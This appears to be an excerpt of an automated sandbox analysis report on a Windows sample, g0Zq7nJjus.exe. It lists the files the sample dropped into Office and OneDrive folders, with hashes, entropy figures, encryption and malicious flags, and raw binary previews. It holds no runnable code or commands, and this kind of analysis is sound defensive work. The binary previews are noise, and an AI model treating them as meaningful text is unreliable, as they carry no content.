Preview:	.<?3...w.J....F..B#.......MJ..\|\|h..Y.v..u/.x..yQ.....(...a,+@..(W..@n............_...Iu.......1.@..&.g..Iqox...7..L.#...k.t..v@.....S.p.M(l....K.+~.w$...Cr.7......G.\|....5{.\#..y..&.y.].^cf...../..a...Y..3..D...v..."..(xQk..3..@.+Da*......=..lHh..~A.eK....\|t.=.....D.V..b.b...lD-.\|.9.F..9>kf.a.......TH$...!_J....I`..H..8..M...9...\|..w.......+. .?..{ . .9........H.+4j.or@......!..,\..:\...4..rh..~..e8..{r....^1.;....aeD%..........pil@%...y....&].@.......=>..o...iU....c$.%.-m..P.../.,......C.J....... L.0..D..:O.E..Fa.-5....p.x...W........... ....2%N..........^.=..W..O.E..>V....Y..l..e =..].~KO.d.I...1.....e.......KhJ<r.......s...vZ.......8..\|&..g..jg.....1@.:.".....X..o,{..9...:M.X!...`...M.u..r...o......av.vm.x.0.!-{.B.n.. .>...1.qa....>..Wn...R.B.K..z.e...l^G....e..\.....(..J....}.t...%.K.....&N.4..M....!y,.=..j).Ro..j#)..f..a...^...%.g..un..Vc<w..v.~xTL..j.U[....e.....2=.}~lFV....5...K..#..m.t.dZ..#.Cy..........e....H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.87487355117313
Encrypted:	false
SSDEEP:	48:hVS/I/a0FE3h0oDvmK6cc6Z4hR3uFWG3y4D:PSyad3hVvtc6ZauFWG3V
MD5:	3D01D57BEE7496586E51BA30FDD42BCA
SHA1:	EFC1BB24F637251F79B6EF086D298517DE31DB62
SHA-256:	431E06C03B0C6A18BB10429C52EF5FD39DC184A5B808A9111667A7D4BE7C0817
SHA-512:	8DE088ECBAD87A25CF05E54865EAC3F03D44DB5E929BEFEE8C03B12C2801ED2CBA0E04AE18EBE971534C05FA15E397CE93A2C471C754D32121B72CDEC22BA6AD
Malicious:	false
Preview:	.<?.^w.v....../-.X.i...=....f?&.G....<.]..#0.Pq.~.../..o.!...bxo._.4....ZD..7K%.U.G.a.).3.......i~./....c.8Xw....Zi.HKG......eX2....u.j..%g....~.{.'..^.....[..j&.p.'.D:cJ.:........].nS...-.Q^....R.._.r..b.=o...........z\.......x.#.w.q~....K.'... Z..:.N![.z.om..3r:......H.p..U.X;g..nc....'..~...r..@k.#..B..`b...{.>N+^E.]..8Q.yZ4B.$...F.....x]..2.C..j..Zt{ka!.9.)Ka..IL..4.f.HS.,rB.Q....r.w....m}..>.."X.Oe.>.PlOGp..jn.P..O.... ...$U.l........../bRVYw1.MG.+...U..?.=k.....Vo.sz..L.wC.a....".....g..3{.I.?..e.:,Qe..Ub.>.\..PzkU..l..x...@V..Z..W\e..a.3....~.<r...kS..cs.O".....y&B.#..g.61.D.}.7..Z.}..v..b....f..v.?.I..8r1@..1)6'.{...0..G.dU:.p..m.o..'..@..\..."L.6c[....d..CVAn......:.....7chM...{&.......G#...pd.j....r.k.$.8.<.@8'.#.q...2S{PV...!>.A....yC.....'...C..nZk...p3......Gi..J...U..d... n..b.'.<.. p...~.ab..5..N...K.V....'X.....%.8.N..b.....g.....O..U.Q.UDR.....W\|-O....]..N.....?.;tf....+.ni..!0..*...H.!...h..Vs..R.S.z.8..../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.911883525140653
Encrypted:	false
SSDEEP:	48:PgzMKrjBg2SOoMBW6NnP7QQbEKCaISSRMuD:PgYKrjBg2SBMXPvbEKrIdRMW
MD5:	A2BC0FA13BB3A8D68F64DF2935CB5AD1
SHA1:	99C8926AAF91883F094D6DC2D924F53CA01EEB65
SHA-256:	51F58BA421C79E80EAC317053D62C31FCAEA9DED222DE4BEE5091AF43011D6CF
SHA-512:	5C864176235491986DBC4066262D01E247E76E14BE1EA76FB3031F95C7D3B5FE6B5D0F2DE2CD2DACEDCE488BBC8069EC171D4C81DA98EC9557E00DA7B51B9171
Malicious:	false
Preview:	.<?7gBE.........TG..`Z..b.:9.u....D+......B...........FvH.B........K:....m.3m/.. .B.\......='.......S.....?.o 7..W..;h.E.S.w,x.....gfQ.=.R...[....O1UO[k.%.O....F.U...T...?..}ie?.m&....+_..J:w.DhB..2.k...Y^...c..Q...S...d...dO.f.WtK..-...t.^.....).....2.)....P...f`..1...;.C.......1.{.4...........'.$..I..A.?...#(..}..A.P..yka...S....v..../.5:B8A.t..r....P.+.#lX...T.f..Q..5-..V_90....v.....!.PW.\|F.wdh....%.J......Y....p.....A.G.r..0M...%K..[.O.8..s....IYi<...:....e..P.{.......x.>W(..r!.F..c.HO)y.M/..V...k..[..6.#<....3..l0<.J..b../r...a.:..".'.L../8.L8Q...M...i.._.....ku...g31.[Y..E..../y'....A.u..6....X.....T....J^..N......E..!.F>P..../.e...z.1P.......\|...........Q...4...H.3<.^)..&2....j..A..=.\_qM..........).fUw.f.....j....J....@k/I.!!.o.Y.w/..'..2.....9&...7..j....r.:+...WH.......H.s4.4..;r).@.H[...SI.QM.w...g..U...S....C9.......:.U.........Q......F:h>.. ..a..x..5......NP..H.{(i.N.zl....m.{..._P~C.SY.?....S.R............A@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.88070094304894
Encrypted:	false
SSDEEP:	24:p///2lFuCp7ExvrNRprgLUNgyOxMrSlLlk9Xt1ru40IePJxQH4tveh4Z74Y2Bcxw:p///2Lu/xzto4FSlLlOXnVdX9BFD
MD5:	DF7118B612BEC9340D07DDF995A674EA
SHA1:	B41A7591A98508E7FE4FAD132DC2CA549939233E
SHA-256:	F458FC456DEE4B018118A2FEABD50C88C221DB5422C3AFC1BA9CA8899A77401F
SHA-512:	62FC9E39C0303C08EA4AE6D6CFF16F5C50B083A04AF0809A3121E8EE1393BF1D581F8754C1122DED772F508DF51E87AA648BD9DF8705C96737B98A535B680F08
Malicious:	false
Preview:	.<?[.... >7.qJZANT..\|..yw.(7....... UC=..e....@...R.t...d.d.@........3.o=...&.#...c:g.@..>#....Z5.......$n...E!1.....n......[...~..x.D....._....>..}9...Lo,..$7.n.6.q....x6.S..T...Nn..?.?......i..e......h.Ir.J..fc9....s".;..)-]f..........\K..\..f..w<.&...f..a.'.3^..p.0.W/W.w.W...x.U..=xa...s.E...B...~.X.-.q.u.....r"p.:B....&b..w,.t.....]>.q.;[...<'.{..%k...].J....f.[.....?..`e.<i.f5.$..k.w...f:..E..n.d<..M....@1..P..t.......i..3`fj.Xf...m0.Y....<.....-oH.....ep..Y..G..~..`..IPGpzg..qG.[...+....#.Me..~..'Q.}.R...w..........x.8.Y ..gm9..<.[.FNp...s.:0.r.4w.hR.'....z..`.A[...++{.N\2.2...K."...]..-I.w.....-..?QYL..N...+.tC&.#.....f...X.&!..d....".W.j.;.?.......B=.S;'...x/.8...d.'..&...z..z..O........3.\|..L.)a.5.").#E..3."..O."..\|...i...!.GN..a.."..-xD7N..\|$....uWD.Mn.v...>d@.2.".\B......2M%..F.y....y.?......#...r.p....j.a^.G.........4i.a.@..>+..-[F....s..Y..M...Q..+.l#K.5.h...z....&.E..;7o.....$.S.=.*.e.dB..'..3.ae....WU./...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.872773737078101
Encrypted:	false
SSDEEP:	48:M8xE3hWHP+mQwhv7Sou6k+zuXSCdDdOxbBDgD:MXoHP4whjzk5+xF8
MD5:	438928DF109459DD4BECBCF28C7A2BBD
SHA1:	66D3EB256C824982542E7A0E7EDE7AF9A4CE773C
SHA-256:	2E2346DC0F7B7025B2AAC7CBA843AECB93E49E7B8D125DFFC17BA262C7BF58FB
SHA-512:	C7AD638CAE6017297F00F31B50C72E479A390DDB2071ED1DB5F9C571350A3CFE1F6CB075FF25D986FC4D41ABFADE44ECCBA37AD40C4022C801014982BA6DEE22
Malicious:	false
Preview:	.<?.!.e..k.H.f..2C.T.BI...Z.T...Q.R".M(?..J...R.c).....m..S..{&.L.i..p...A.........W2]>..._...Z..$..M......O.QN....Pc......f.....-...C(5...#.E'..J.a.. .W...B...C.%[.Y...9..x..!tD....$.(...."i.'.H.p.......^...0......0...\... .Hr.j.U...s$.3.3..O:.m......)D..<.,.49...}F........5.X..M+..d`.`v.e\..a).....0...k.!.. ki...^....\|..E...UA..D.`....?7.t.:.(...-\k..T...K.E....G...._.C`;..O..I.....Bi.V..t..}.5e....~pb.......y7...y......;..3.B..\|.H....+px.~.5..2n..T&..fg....#m..H'...S.iu2..?.....8..~.<........PG(..4...Q..1....K..8.]...'>pY...D..c.....:.5..t}$s..t.....y>.X......T.#......PW.R...]<.JR.....'.?.l..-3....-^..Y.2{.LC.X.=....3..Z.........!.....R`.Q\...........q.9...`. .......:..@......-...0mR............Xr.-}..}a..p.H.p...Q.Z....[.+ --;..CUjoc=..K.^2.u.OYtY>.r.....V.......h.)9H...h..vj.Id...........Z..d..E...Fn^.T..]_.U\|.TC.bV.r.u..p..I..d.pa.Z..P^.Fj..U.....^........)h...Z:....&..m/.^I....rNjN..j....j......#..'...<.B.u..U.Y F.H9..g]..:.2..9\|*.-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.891587313775709
Encrypted:	false
SSDEEP:	24:X949GbmBw+oC16cqu/vB362UeLCLHMPfo58hqVEHTjWzE5DR/14gZnTPXUjL+lST:XZzBO/vBzUeLm+foNse87TPE2lyAO9TD
MD5:	E38583E83AF0D2388C21B8BE31475861
SHA1:	14DEE1109CC2698810391FE06ED4D92E0E745158
SHA-256:	B25BC786EB5C8E6A6512FDECB22920B6688F30CFB88364054AAF0E3447EE4FB2
SHA-512:	1B5E52406247E9BEBFFCB43285E5107FD9D00973771034A72295BA0680ABACB6F1CDAD3469EE199F58D358D418A4E1A12C94D4F4680A6576BE056CDF83D3B8FF
Malicious:	false
Preview:	.<?.H]D.C..[.(5...t....F..$E.....L..k....d......#.....Ps..t_........~e...^.^.w.m......%.n..h0I..$.....B......ZO...V.I2..E.,..P.43..W(k..........z../e.;6A.5...i.&&...YPz....8......{...5.1...zJ..M.i.e.;O.6..f_.a^#h.r........v....3>C..a...I4.....8....6X..........u.s.&..T"...:.`.+.f.D...W......y.?Rg`2........&..q..S@.K2....+9..^.0h...2..{..1.jq..o..bG..U:9s..7.5...F.BNh........8....b\../..(SP.m.z.......2...K...j......W}.....\3.....}..0.7n?.A..po...k...}.N..>....5.ZRC:.........f.'.r..,....`..E\|BU4V.l^g/.._.Mo...........\.a.]..NI.G.0..AxdwAh.NX's.....V<.....\|=.0....1..^...fy.k..d^....+..,u..x&..........9......B?.......g...i.....X1..\|.....H......`....:.C.........yJ..,,z:.r.1(..3H.T]...l..2.#rh.J....+.C._..........q...w....h.....-X.....2.B......n....E..a.Z....F.hQ.E0...M.oZ8......T.K....8..j.6...W...b...6^ ........:<....K.....$......i.....:.d.J+,zm.tF..(.p.G.q..tj....Y...C$..5...(................q.....u...W/...(.G.am!....F..9.o......N..6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.8702175307527975
Encrypted:	false
SSDEEP:	48:ER+6534RbgxfLfH6+tJXZ4N9GWCaPNfsD:ERpQK6iXZk9G72I
MD5:	4FF09BB8EBD0039B5F54D4A791EC882D
SHA1:	8EAD3602B927B3693A11F909F0FE596786F11123
SHA-256:	B1C570E41C3DD07A97C322BF5C3DC1A91C635EC4B67CDC4B8245B01A413ED551
SHA-512:	91110828DB3F012BDB64D231B20A7DFA4618D63E602459C804E632CF76827A8732118B790DCFC9104AECCDC0F5D9A7F5BF36DDA6A6B1BC04EE43C1FAE67B4C9A
Malicious:	false
Preview:	.<?.Fwa4.N....F"T..VGsc.t........M?A.i..W..3..C........T_7p.V.}..2.w$..E. .v..3........b`V0.2.9...Q..3..'....h..](...[/..uU...4r..a...A.d...Cy...j....Q....0o....VWv...x..A........#..ZQ.g....[..a3Q!...h[R.p..........Fu...\:y..J.X..d.....\.Rl[.....l..V.....r..~.!5{F.......OZ.=.!GAb.....No.ol....}0.z q@%..%.~.O.r.iP....<w.W..(........dOG.3...M.....7......~v.......7........._%..(....T.4.>.....w....a^...........{i[.\|........+bL.r....pC..$.e.......~.9..jqG.OC..I.P..R4Sh.^Pt.=......u...-.0..~..c.b.T....d.....7Ji..))a`b7Rr/..%.X....T7.+......pE.%5.?.\(....7.......q..e...Tf...@.l...Xe'..-....O.D~[ZKa.h@.gy.8t~S@.q....d...qc...l.j.fR.X.....t.a......m.6J.[.j.3.A.Y...gs..CI.....p..>.v..-..W6.d.l..&..M.@...<..So..^.....+....p.J...y<.A.:MyJ.\|..Dz:OI.0O..u.'.5....:0..(r..iL.57..#.r........'....8...MZ.......h..)%.`2...../..ZXr[...\h....a.s...BA.$......h....=.r.T.q.9...C....K.W8..9&.,.pJ..b..*...n.-!H...s(......2@m..0.d..._.;p.H.!.......n...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.87399115669977
Encrypted:	false
SSDEEP:	48:YFM8qNebclLDk+VB+nkSxkbv236h078jt8qbD:YyJLDVVB+nkjj2k0wBHX
MD5:	CC71B7F91681EED5779015C737E71E49
SHA1:	9B65C484CA9F17B40A70C5E03DD5B49AB363402F
SHA-256:	1180F34A63B668E899E9B35836852907D66B1DB2886DA17F03ABA83664515500
SHA-512:	3F065922BFD6AA82EA6496C33047D8D5491CD985D9AB3F401845E11A12325EB90CDCBBE54171D55D224F4EA8C8E211E052AB4A0FD7EB8688526E1EB03975EE67
Malicious:	false
Preview:	<?xml..%..XQK.`..i..&x.4^!...'VC....K..J~d.(.`(..>.T..l.K$..4z.a....w.(^./ ..S.w.[^.5.4q..3.V.,...E..Z....Qvi.T....S..,.{].C..b>...a.!..."..-]B.P.o....Io-'..YO.Rl...\|.M..=M...;..jo6.SGxRP..r...............Co..f....v...S.A.0CyS..UV1....%.?+..K.;.6m0`.g.Jt..d...<..]."........t...............\.......M..C=...]Da02mZ. .{......3y........M....g.*.&..$.......{..o.....P/......N.......B!..^.\|Y.......04..t..F~...gAU.?W>...L..G.`O&Bz..As..~o%..8E.\........=5.2..."..i\o.OEw..s....(I.A....G..^z....=.;.k.uq.A h]..s..}M.%......@^..k.....\\|Wq..6.. #N..@&....UC..4.Q.G...8..b.+7;..5&...q..0F.P.^........p(../...q^.\.....0. .....[../Pw-.2......Z..>.....Q.Ju>O.i..![....l.S....8......Sj...0.s..jo^..w........T.`..b...K.6...o.<.pc...y.HxO...w.f..R..k.\U..^B.A.K.E ...Q./C.....`.&x.y.?.l.y..............+_"a.B..6......l.....r...z[.E..6~.N..1....xS...g.F..s6.....X.J.......:....v.....p.LA..lb...%.......F....&6...I.s~.!.\.;_....%o..M.M.....{M..O..0\|..hh.._<.M.eo....W..u

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.802490892736232
Encrypted:	false
SSDEEP:	24:eaj/RLoGo+gZBOrTFJUr5G4YGYjZbnqRna91tUA5UBja+f82bD:eU/+G2BOfTUrnJwkna1tUA5yF3D
MD5:	57B45F9AB4141345880D4BBD2AF7037C
SHA1:	984B023872C01061FFC58F4F558DFC31739910A8
SHA-256:	36EBAD5BBE6730939009A2AA7630C6DBBD4156052E07E87842FFAD3484CFD3D4
SHA-512:	35B981671C05F6A0094FC153306935278702E55E7202D9CD978AB020A7A33BD85ED9EA4B68DD466F0312B43E5AE7631B72A159E52720E6642DEEA4F94BF5C551
Malicious:	false
Preview:	3.7.4li[..:..Yh.....,.I..%q.{.....Y....@.d.[..N.d2Na...}.uy.).\.U...T...Tus...{.._..)......X.=>.....&n9...D...s....)9,..OA..w.L.BU..H...!G..jPs.P.bO.........P...$....Eq.>...@.~1f...JD..........A...h.T...2..;.L..E.W.......&xN..3G.....N<....A.aA.{.`d..> ...n.....z.`.\|.....b.\|o...b.g...7...../..:b.L2.\|..b.>...`.b........M...6O~.(1.TU.1...v...`w......7&f..u.@h..B.SZ7..P.:.`...).e6.{4.......YS..b..$......0.}.n.d.....9V.~.k.`\W.j]w.2..[.#l...#f!o.+.....`.B..L....(!..T..H.....is...tF....I....Y.6.S.JC....=.c$.A.5.....<.ay]W:..z\K.:.(..g..Y.]........i L..K...b[.U.i.....X?.&......!.)..s#..L......y.4_~.t{~.j..b.H...S../0.%....<L...U...ZQ..C.-`y...n.7..P.v....sJ......n. 6C.e.t....G6......v.W.'.....D./.C.H.sRt.M......V....5..F....')7...t..&....q..h...-lVAZd.xF...;]....."..l.j..-...T...0..v.\|..X1\|........)]U...9E.Ni...Q..[]..P7B.`~N..cM..Il.k...L$B..o..R..-.7..4G.U..N.._..;.L.?.S..3.w..3.F.X1 `...G]..P.V8.)I.H...a.`.e...'V.._O.j.'.L..i.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991985114967306
Encrypted:	true
SSDEEP:	384:RbuVUMIq0/URn8UMEvzy8t8JUIXt+2XicXz6tAz/Qo5+JQWdvle2QR0lnFbcwbXe:1kUy0ct8kOXJUmLdzLQ1JQIBQslb10px
MD5:	C83CD36E404B676FCA2DCD846649A620
SHA1:	AE92F9CA9A9C508F1355534508A0382E2F4F8BFD
SHA-256:	F2F46E940655EF49EA5B1F8C6D633C20BA696F0AC5641A4F14B564861AEB39EA
SHA-512:	06114DCE6AB12AE53E42A7C31466C5776B5B83B9649F98225591A7A92B53D7B849C63E3E2C46C484DDF7523B0563157529C7A2110451D6DE17CCF7D9F2A4D9BA
Malicious:	true
Preview:	SQLit.!..B.jO\|.Z,....v...X....>...?G=s.GP..D..]..^..i..%.M..lU...."...C v.h.ev.z...Y@...E^.&]6.n...d.dIB.sn.Q............V'@.5...q...o,\|..d...e.e..Ss....M.w/........AZ.1j8......z...q.W....t..+..2.T....!.`..Q$ua.."..4.s.......F.x.f.4..y..+]..q.K.}b.k[w.......Sr.^........H.x.H....r&..\|.....<..w.......'J..g.X1f#,....C+..Q~m.D...F...nJb..t..OZ....N`.B....+m4`....n....e...!.;.f...;...........A.t.?.n......._E.. .)!T...+>G.....{..c.o..@..A....0fW.....t..).....m.W..Y.2.......X.\|./"AxkK.".k...K.?...'.~.h.5 ........2.7..lQm.9..>.Q..[.nu.v.....%.Z...E.i?s......Rq...e...-H.\|Fi.@.Ox..H...6ET.=..`O...M.P..3..&.3@.(<$.0...'.. ...@F..s...jw.....,..y<..\0^c...G)d.;X..&.-.{..\|.E@P...>N.A...6.+!~.(.v.Mfn.r.mP.+..m...!..h..sR.t...Y.......v.!....o.2..PN...`.\|...J../A]W...^.......{`..1....}*..T...U..:l?..9...s<4Z.{".G\|.,......k...x:...'<.>....6Q....D....\...T.....E...Z......S......P......F.....+..+G..w.I..]\|.X...Y..X....&..o.e..+b].[D...O.W?..;..iq_..

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993319568873818
Encrypted:	true
SSDEEP:	768:e+Z/bdUJ+ZH1exikMoKeq6MFzW+sojEQU:hZ/LR1eskMotq6MFzW+sUEP
MD5:	C1C9897DDFB8EC1B8B5AE57D51ADDF27
SHA1:	B27D4A1B3B28FF2EDD781D5D380DCF430DC1639C
SHA-256:	AE0CC2C2FAF7BCE7C90E4EB21A420C5AAB3D27659710F8EE3830F13AE428F633
SHA-512:	423DE80CBD4343BD100582F907E59E4E48AE27BE556280063DCD499C4CAEBEC9066B6520D264F677FE30285D4231D84FA365F6293FDB5206884F6262DA360608
Malicious:	true
Preview:	SQLit.X.Q..{...=..f.....f.:..d.GE... .......p..p..vM.P1<..)rB.g..B0U".{..U..#r.R...AM.d.6....<.....w......>..[m..2k3..9....Y,.N..<M.i.F..V.....O.;g.!....+.N.4@.?q..Q......8\.;2.2...V.x.?'.6k.....z^.........]lW;..P...7..?..'J..[.kXQ.:Bp.~..".BK.?..rR..&$n+E.;.&..a].X. E....n..MhT...HM.3;....k...L.S.g.x.q.I.'.p.p..WC+h....e..e......\|.@..@#j....![P......&........z%...5..j.g..-.....41..;.C.fv.3E_...)?.......g..K........`..}!.8.......!..x.T.A......L#.(.E.o..J..[.zU}.Qa.r.Js.9._q.tS.$/..zx.u.2g.E..p%....?Z...T.I....fE.t....8-`.....R<.gD.]..Y..X...Z.F.^#..'f...7='e..r...S..[..........a...P...:d;(...A.F?-............P..I.....-....4..V.......@.v..t.X1.;.....!.s.c.&...W7.94....#[.d.......M'O..@.U.m..MR4./.`y34b.VnM..].....O...o..FR.2].W.;.T..Q.8.sH..5&.;......m.Y..{:a....GCd.q.W...1.I8.&GB.O..qx.........0=......Dv.W\|..b-^J..L.Q..w.A..fd...p.@.3.H.....J..\~....j.-.z...f..N.H.q.;9....'.......l#oA...q5._^;u......h...Q0....p..;.j..O.iC..............

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992556072507525
Encrypted:	true
SSDEEP:	768:f/wAJw/4gYoYSqATbAjTXmfxojR7c7vGdepT:n4ddTLfylYzGI5
MD5:	E88578365224EE328DBC3306EA3AB0D0
SHA1:	B72B19667E4AF5EABA65B83DA1DB486EDEED48C4
SHA-256:	F64B65D0EAD531230B6ABBE50706B12898B16B33845E50A24B68305B1920CD41
SHA-512:	962DA302FDA68949600605C092805D2FA5DCC02D620ED57CDB2A86FD063F20C759DA96E15CE45416F01EC20638D3399826E676200A77062ADF9C9AB3588899F5
Malicious:	true
Preview:	SQLit.b......".:@...e....!....X...+.J.....\.w6.!F.(."...yl.a...,n....\|.....E .:.~.pf../.?-{.z.M..n..E.S.+.".e...Hz.......Q..y$.5t;....[..Ui7.../....5...b\.J...z.....4...e.....3.H&.....#....Oc..5....M.M<.V1{`=.?.e...%.l....../vT.....9.....q....qU_4.\|..../....}@'.B...Q.T..v....7......%2.=..n..{T..).O...D..!.D...$H0`d!.\|.&..8..\.%.[.9..v.I..H...J8..o`.r........./.-.........S..Y.BQ.....l....-...D..._+.hMCd...~^...V.L6\|.....1M.&.....#..d.W.LB..x...k...)".Q.T...C..Q...yh.....;.DG..@.Z6. ]D.......y./f..mh.T.........\|.j.Ugo\|..:$...Zi.o.I^~13..k..Z...q5>.l.%.9...p.........R...........1Y...7.r".u.......s.:ik.......0.,..W..Jn.X....mi#6vCC..{.-us...)%.nTjCC6.M9.?...p..3.....<.....&..6IH.M.r.......\\|8.Ar{.Y....Xy..._...Fk....!."\|.eL~....W..au......I..oo....O.U.S.<..9.S..](.N.>].;h&...G]..d..H...nn.x3......-<"...h........1.2......:.._...'B.t.M.{Z.\o`.sc..N:O)v...!.$I..i..krb.R].T...z.%..}M...y8PkiR..dq...UP.b...\.".......q.`4.!c...fo'.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992161601566699
Encrypted:	true
SSDEEP:	768:k7x4+GID7k8vWo89mgg1NOE1p7PG/wl37:4VtZMg1NxvLflL
MD5:	4EBFDD4919BF9372E51223BC2EF67717
SHA1:	3C8B6BF0A4E66884143DC0A9B6230093F25D86E9
SHA-256:	E3A8E8BC11320DCE27606BF1AEDFDA81597D02E30D9F7D9F2D2F674BE3A031A9
SHA-512:	F5E2C2CD455850BD21054494F29515FEAD069E57C979F171493D49BCBD2767BF239265552721CB9F4AE808FC6377B1E96BFB5F69C9D4390D16B3FEB7A37BDD47
Malicious:	true
Preview:	SQLit...fVp......(x .......A.=?.P.f.....A.WF.?..HW.1....+......n\..J...i....@..w^...<l..P...C......._.XY$).......X\.[..m;.x h.?.G@o.A..9..~..>./^...#d+....=.k..Q..S..a..\.D..z.H.....~..3..M..n4.&...o......f'.\|.HN.(..)...]..G.......Wm.p....)..^.....k..M"...........7rVN.%.....(.....`!..f.T...H3.-.60.J....%.....Q..P.$s!..\,r[s...Z.a.]nk.^.._xX..U...}..d?i.C........-!~t.._Nsf5#j:....n..RrKV6......=..2I2...0.~."K..../71...Q.wU69./..5...J...6....%. ....uh'6.d...SN2......2.9D.p......d.k..G.......`..B.'.aP.B3......v.....S.....l:.@p...KuM.K\....~.I.=..(p`Z.....;.uo................Yo.7../.......A.=...D..G..t...J..$....Q.l.......'..s...FgC.4.9u .....k....6ma..hG;.'.....R....y..[......H.Y>..4..ZD.vHRG......2.b..(.<y......:Pn....u.H...sj".......}..!.v1]'0..........2.7..z.+...\....a..U....2%.0x.l....~i..GF.....!&.....G...A.Z.^.h.a............9......_C..P....7..=M....F.Q..r_..-.B...e..o.....=..A.Z..U....SC..t...Q..[WB.....K.$....'C.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0619.1132.1.odl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0436843636415376
Encrypted:	false
SSDEEP:	96:Pbm1/fzKLg5FC/DpoqQGq5zxS2pTJ7p5jyb62ZvtM6:Pb5Lg5FC1bQPNk2pTdyb62p
MD5:	BE74A612602620DFA3BA14943000483F
SHA1:	4BAC0C7876778CEC9B8AA7EBACFECE4DD9DE136B
SHA-256:	16274802E01922673A10C2E3C97BECD649B27F0806F54F55C51085D3FDE3FF90
SHA-512:	608A571B79FA9098D8E4E0D447E0EF0FDDC8152A73AC92FF31B54A708428F404C67C9C40297A6A3935C61188168C4AD55DA103C898C1779ECEA229FC7131D1AC
Malicious:	false
Preview:	EBFGO.w4.....=m.t...{..zs.....xPU....B.)l...p^..B.d.z]..I...i0......vQ5uhz.\|.[..).....y/....\|....@,.\.J..}g.AG)....B...............5....7.......`$M.....c.}..V.f.......'B..N..sC.J.C....?....C.-./.-n....A.>4...HF..s.er../.U..u.Y"[%...a.E"....G`..O.../g2$m....#...k....1o$\..aq...L;.V.cy4\|........'Y.N...`...E.....e...c....Q.Z...OK3.....p.0s.=u.xp@..O.%.}.m2..+..e.W........+!+....t.....=...p.>.....d..~.2.....T.k..b....H.Yp.P.e.[;.E..=..`A9L..I..nb.g..<.K...HQ.j....1......a....'...O.;.....f$}.5..N`...;a.a......r.jK..]:..../<.b....&......:....q8K.V.M....'{.=../.Y\|4.....V..gZ.P .I....=6U.G4.Q.)E&...2.>@....KU@...,\|r.5\....}.{4`.QWf.@....Me......y.\|......{..d....%..$..m#'Z$...A#..6.........Kn..@....9..T.xO7\|.QN..Q..lv;..K.\|.w...."..)..Uv..i.._.._..].YJi..(r.....u(.y...+...y...>...;n..xN.....wB........e...~...@Qi...:#K5....w.:.....X..k..".[.}.N....(l.z..$r.-T,....fG$..K..^.v..FJ./....W.}[.S%t%.....P.B.......0xn.R.......nF.........wN..wC.pg.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0620.792.1.aodl

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.279580919055956
Encrypted:	false
SSDEEP:	96:0RiF3QCrK/sY9k/iV1cKX9qWV7uY6yLJs/68DCFWgyEW2gDlr2WCre5m5Q:0Ri1bK7DV1cKt/56sJh8DRF2g5jA
MD5:	96C292EFDC373C03FA5B4ECA6DEDB981
SHA1:	3D8828453B2E497614891B278EC9153E697FB3CA
SHA-256:	F092049D9ABC75EEBABD815632CDC52FA6DC9987FF18B796C8599098EA00F455
SHA-512:	46283409E87933244352605585BB641ECEEBF6235B8BD26C7379B5ADB67FEA1450E53D08462BCE5812D247B686BA4DE2179A1354E60C97AE3FFF73EBE1986AC1
Malicious:	false
